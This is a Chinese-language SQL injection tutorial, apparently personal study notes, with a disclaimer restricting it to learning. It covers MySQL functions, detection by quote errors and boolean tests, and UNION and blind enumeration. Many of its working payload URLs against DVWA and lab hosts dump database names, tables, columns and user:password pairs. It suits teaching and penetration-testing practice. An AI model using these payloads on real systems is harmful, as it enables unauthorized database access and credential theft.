郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL 注入
服务器端程序将用户输入参数作为查询条件,直接拼接 SQL 语句,并将查询结果返回给客户端浏览器;由此不仅可以获得数据库,还能通过 SQL 获得系统权限、文件操作等;
**主要危害有:**1、榨取数据; 2、执行系统命令; 3、向数据库插入代码; 绕过登录验证。
1 SQL 注入基础知识
1.1 Mysql 数据库知识
information_schema:系统数据库,含有所有数据库的相关信息。对于 Mysql 和 Infobright 等数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。需要 root 相应权限;
information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:
table_schema: 记录数据库名;
table_name: 记录数据表名;
engine : 存储引擎;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节);
index_length : 记录表的索引的大小;
row_format: 可以查看数据表是否压缩过;
1.1.1 Mysql 注释符号
1. #
2. -- (--最后有一个空格)
3. /* content */
# 用于注释后面语句,使其不执行
如:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' order by 3-- &Submit=Submit#
1.1.2 Mysql 注入常用函数
VERSION():MySQL 版本
USER():数据库用户名
DATABASE():数据库名
@@datadir:数据库路径
@@version_compile_os:操作系统版本
exists (str):判断是否存在,存在返回 True,不存在返回 False
hex():编码,十进制数字/字符串 -> 十六进制。例:select(hex('A'));
sleep(6):延时执行
concat():
# concat(十六进制): 解码,十六进制 -> 字符串。例:select concat(0x2D);
# concat(str1,str2,...):没有分隔符连接字符串;其中任何一个参数为NULL则结果为 NULL
# concat_ws(separator,str1,str2,...):含有分隔符连接字符串,
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--
第1个字段同时查询多个数据,第2个字段为空,CONCAT_WS连接字符:32,58,32对应的字符为 “空格:空格”;
# group_concat(str1,str2,...):连接一个组的所有字符串,并以逗号分隔每一条数据
ascii(str):不能探测中文字符.
# str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值
# str 为空字符串,返回 0
# str 为NULL,返回 NULL
# 注:ASCII() 返回数值是从 0 到 255
MID(column_name,start[,length])/SUBSTRING(str,pos,len):用于从文本字段中提取字符
# column_name:必需。要提取字符的字段
# start:必需。规定开始位置(起始值是 1)
# length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
substring_index(str,delim,count)
例:查询user(),并以@为分隔符,取第一个切分字段:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select database(),substring_index(user(),"@",1)--
information_schema:系统数据库,含有所有数据库的相关信息。一般利用它可进行一次完整的注入。
# 列出所有的数据库:select group_concat(schema_name) from information_schema.schemata
# 列出某个库当中所有的表:select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'
1.1.3 Mysql 注入常用操作符
1.1.3.1 UNION 操作符
-
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。即第二个 SELECT 语句中的字段数需要等于第一个 SELECT 语句的字段数。
-
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。当前面获取的数据为 Null 时,显示第二个 SELECT 语句中的列名。 例:
http://192.168.100.137/index.php?id=-1 union select 1,2,3 http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,3
-
UNION 默认只选取结果不同的值,如果允许重复的值,使用 UNION ALL。
-
第二个 SELECT 语句所查询字段可用数字来替代。
-
若第二个 SELECT 语句所查询的表不存在,则返回错误信息。
-
即使第二个 SELECT 所查询的表字段数小于第一个所查询的表,也不会返回错误信息。
1.1.4 Mysql 的逻辑运算
1. and == &&
2. or == ||
3. not == !
4. XOR 异或
# && 与 || 这种特殊的符号 一定要在输入浏览器 URL 前转码之后方可提交,因为浏览器默认不会进行编码
1.2 注入类型
1.2.1 基于数据提交方式区分
-
GET 注入:
- 提交数据的方式是 GET , GET请求的参数是放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码。
- 注入点的位置在 GET 参数部分。比如:
http://host/?id=1
, id 为注入点。
-
POST 注入
- 使用 POST 方式提交数据,POST 请求参数是放在请求 body 里的,长度没有限制。
- 注入点位置在 POST 数据部分,常发生在表单中。
-
COOKIE 注入
- cookie参数放在请求头信息,提交的时候 服务器会从请求头获取参数。
- 注入点存在 Cookie 当中的某个字段中。
1.2.2 基于数据类型的区分
- int 型注入:
- 如:
http://host/?id=1
注入,一般被称为 int 型注入。其注入点 id 类型为数字,在大多数的网页中,像查看用户个人信息、文章等,大都会使用这种形式的结构传递 id 等信息,交给后端,查询出数据库中对应的信息,返回给前端。 - SQL 语句原型:
select * from 表名 where id=1
- 探测语句:
select * from user where id=1 and 1=1
- 如:
- string 型注入:
- 如:
http://host/?username=admin
注入,一般被称为 string 型注入。注意处理此类注入时,可能需要处理 SQL 语句闭合问题。 - SQL 语句原型:
select * from user where username='admin'
- 探测语句:
select * from user where username='admin' and 1=1'
- 如:
- like 型注入:
- 指在进行数据搜索时没过滤搜索参数,一般在链接地址中有
"keyword=关键字"
有的不显示在的链接地址里面,而是直接通过搜索框表单提交。 - SQL 语句原型:
select * from user where username like '%关键字%'
- 探测语句:
select * from user where username like '%关键字%' and '%1%'='%1%'
- 指在进行数据搜索时没过滤搜索参数,一般在链接地址中有
1.2.3 基于注入方法区分
- 联合查询注入:
union select
联合两个表注入 - 报错注入:即页面会返回数据库报错信息,或者把注入的语句的结果直接返回在页面中。
- 盲注入:
- 布尔型注入:即根据返回页面,判断条件真假的注入。
- 时间型注入:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
2 检测方法
2.1 正常查询方法
通过正常查询观察可注入点;
2.2 基于闭合报错的检测方法
一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接在可注入点输入一个单引号'
/双引号 "
、百分号%
、括号 ()
,数据库因为多输入字符导致无法闭合而报错;
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
2.3 基于布尔的检测方法
**布尔检测:**所有标准对象均可以用于布尔测试,下列对象的布尔值是False:
- None
- False
- 所有值为零的数:0(整型),(浮点型),0L(长整型),0.0+0.0j(复数)
- “”(空字符串),
[ ](空列表)
, ()(空元组),{}(空字典)
基于报错的检测方法判断,再进一步确认服务端是否可执行
# 以报错为 `'` 为例:
1. 方法一:
正确查询内容' and '1'='1
2. 方法二:
正确查询内容' and '1
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1%27++AND+%271&Submit=Submit#
# 若闭合报错的检测无法确认,可以尝试忽视闭合符号进行探测:
1. 方法一:
正确查询内容 and 1=1
2. 方法二:
正确查询内容 and 1
例:http://192.168.100.135/index.php?ID=104%20AND%201
3 探测表信息
3.1 union
探测方法
3.1.1 猜测表字段数
order by 1
:探测表中包含几个字段,数字变换尝试,
对于order by 数字的用户说明如下:
示例1:
SELECT last_name, age , hobby FROM users ORDER BY salary DESC;
示例2:
SELECT last_name, age , hobby FROM users ORDER BY 2 DESC;
以上两个示例结果相同。因为 age 是第二个元素,所以可以使用 2 来代替。但是数字不可以使用 0,也不可以超出查询的列。
例如:select * from users order by x;
如果 users 表有九个字段,那个 X 的范围就是 1 —— 9,不能是 0,也不能是 10,超出会报错
示例:
# 以闭合报错为 `'` 为例:
正确查询内容'order by 5--
# -- 表示后面的为注释(-- 后有1个空格)
# 变为:'查询语句' order by 5-- '
# 效果为:'查询语句' order by 5
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' order by 5-- '&Submit=Submit#
# 若闭合报错的检测无法确认,尝试忽视闭合符号进行探测:
正确查询内容 order by 5
例:http://192.168.100.135/index.php?ID=104 order by 5
3.1.2 探测表名
union select 1,2,3,4,5 from user
原理: 利用 UNION 确认表名是否存在
- UNION 操作符用于合并两个或多个 SELECT 语句的结果集。UNION 内部的每个 SELECT 语句必须拥有相同数量的列。即第二个 SELECT 语句中的字段数需要等于第一个 SELECT 语句的字段数。
- UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
- UNION 默认只选取结果不同的值,如果允许重复的值,使用 UNION ALL。
- 第二个 SELECT 语句所查询字段可用数字来替代。
- 若第二个 SELECT 语句所查询的表不存在,则返回错误信息。
- 即使第二个 SELECT 所查询的表字段数小于第一个所查询的表,也不会返回错误信息。
例:http://192.168.100.135/index.php?ID=4 order by 5 是最后一个不报错的数,可知当前的表字段数为 5;
例:利用 UNION 探测表名称,若表存在,以数字替换页面内容的形式,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 union select 1,2,3,4,5 from user
3.1.3 探测表字段名称
原理:
- 利用探测表名的方法,将第二个 SELECT 语句所查询的(在页面上显示的)数字,替换成所猜测的表字段名称
- 若表字段存在,以所猜测的表字段名称替换当前数字内容的形式,正常显示页面,反之表字段名称不存在。
http://192.168.100.135/index.php?ID=4 union select 1,username,3,4,5 from admin
http://192.168.100.135/index.php?ID=4 union select 1,username,password,4,5 from admin
3.1.4 探测表数据
-
利用所探测出的字段名探测出表数据。三种方式:
-
1. http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1'union select user,password from dvwa.users-- 2. http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1'union select user,password from users-- # 以 ":" 形式分隔输出 user 和 password ;concat 与 concat_ws 的区别是:concat_ws 需要首字段执行分隔符,而concat 直接按照顺序写,':'字符十六进制值0x3A 3. http://192.168.100.129/dvwa/vulnerabilities/sqli/?id='union select null,concat(user,0x3a,password) from users--
-
3.2 exists ()
探测方法
3.2.1 探测表名
原理:
- 利用
and exists (select * from tablename)
函数配合 SQL 查询语句探测表名是否存在。存在返回为True
,反之为False
示例:
# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select * from users)-- &Submit=Submit#
# 若闭合报错的检测无法确认,尝试忽视闭合符号进行探测:
例:利用 exists (select * from tablename) 探测表名称,若表存在正常显示页面;反之,表不存在。
http://192.168.100.135/index.php?ID=4 and exists (select * from admin)
3.2.2 探测表字段名称
原理:
- 利用
and exists (select para1,para2 from tablename)
探测表字段名称是否存在。
# 以闭合报错为 `'` 为例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and exists (select user,password from users)-- &Submit=Submit#
# 若闭合报错的检测无法确认,尝试忽视闭合符号进行探测:
http://192.168.100.135/index.php?ID=4 and exists (select username from admin)
3.2.3 猜测表数据长度
原理:
- 确定所要猜测数据位置,Mysql 下使用
LENGTH(字段名称)
函数与所猜测长度做=
相等运算,长度猜测正确为真,正常打印页面。(也可以使用>
、<
)- Access 数据库使用
len(字段名称)
确定数据长度。
- Access 数据库使用
示例:
# 针对 Mysql 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT LENGTH(user) FROM users WHERE user_id=3)=4-- &Submit=Submit#
# 针对 Access 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 and (select top 1 len(username) from admin)=8
3.3 探测字段数据
3.3.1 逐字猜解法
原理:
-
mid()
函数:用于从文本字段中提取字符SELECT MID(column_name,start[,length]) FROM table_name # column_name:必需。要提取字符的字段 # start:必需。规定开始位置(起始值是 1) # length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
-
ASCII(str)
函数:不能探测中文字符# str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值 # str 为空字符串,返回 0 # str 为NULL,返回 NULL # 注:ASCII() 返回数值是从 0 到 255
- Access 数据库使用
asc(str)
确定数据 ASCII 码
- Access 数据库使用
-
探测出所有字符的 ASCII 码后进行拼接,得到完整数据
示例:
# 针对 Mysql 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),1,1)))=97-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),2,1)))=100-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),3,1)))=109-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),4,1)))=105-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' AND (SELECT ASCII(MID((SELECT `user` FROM users WHERE user_id=1),5,1)))=110-- &Submit=Submit#
# 针对 Access 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,1,1)) from admin)=97
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,2,1)) from admin)=100
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,3,1)) from admin)=109
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,4,1)) from admin)=105
http://192.168.100.135/index.php?ID=4 and (select top 1 asc(mid(username,5,1)) from admin)=110
3.4 利用 information_schema
探测方法
3.4.1 探测数据库名
http://192.168.100.135/index.php?ID=4 and 1=2 union select 1,database(),3,4,5
3.4.2 探测表名
原理:
- Mysql 里面有一个库 information_schema 里面存在很多信息,其中包括所有的库名, 表名, 字段名。因为可以利用这个库来获取当前库的表
# 获取当前库
http://192.168.100.137/index.php?id=1 and 1=2 union select 1,database(),3
# 由当前库获取当前库的表名
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='database_name' limit 0,1
limit 0,1 指获取第一个表名,要遍历获取其他表名需要将 0 与 1 同时递增+1,直到返回空结束。
3.4.3 探测表字段名称
原理: information_schema
数据库中 COLUMN
表 COLUMN_NAME
字段保存着所有表的字段信息。
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 0,1
# 或对所探测表名称做 16 进制转换
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1
3.4.4 探测字段数据
":" 的 16 进制为 0x3a
# 字段数据
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin limit 0,1
4 group_concat()
函数探测所有数据
- 此方法不是通用的,有时候会因为字段的大小问题导致探测不全。
- 解决方法:换一个字段查询,或用函数查询长度再用字符串函数截取。(后续补充)
4.1 探测所有的库
# 需要处理闭合时的情况
# 逐个探测
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1-- &Submit=Submit#
# 探测所有
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA-- &Submit=Submit#
# 不需要处理闭合时的情况
# 逐个探测
http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
# 探测所有
http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
4.2 探测所有的表
# 需要处理闭合时的情况http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()-- &Submit=Submit## 不需要处理闭合时的情况http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database()
4.3 探测表中所有字段
# 需要处理闭合时的情况http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273-- &Submit=Submit## 不需要处理闭合时的情况http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_NAME='admin'
4.4 查询所有数据
# 需要处理闭合时的情况http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(user,0x3a,password) FROM users-- &Submit=Submit## 不需要处理闭合时的情况http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin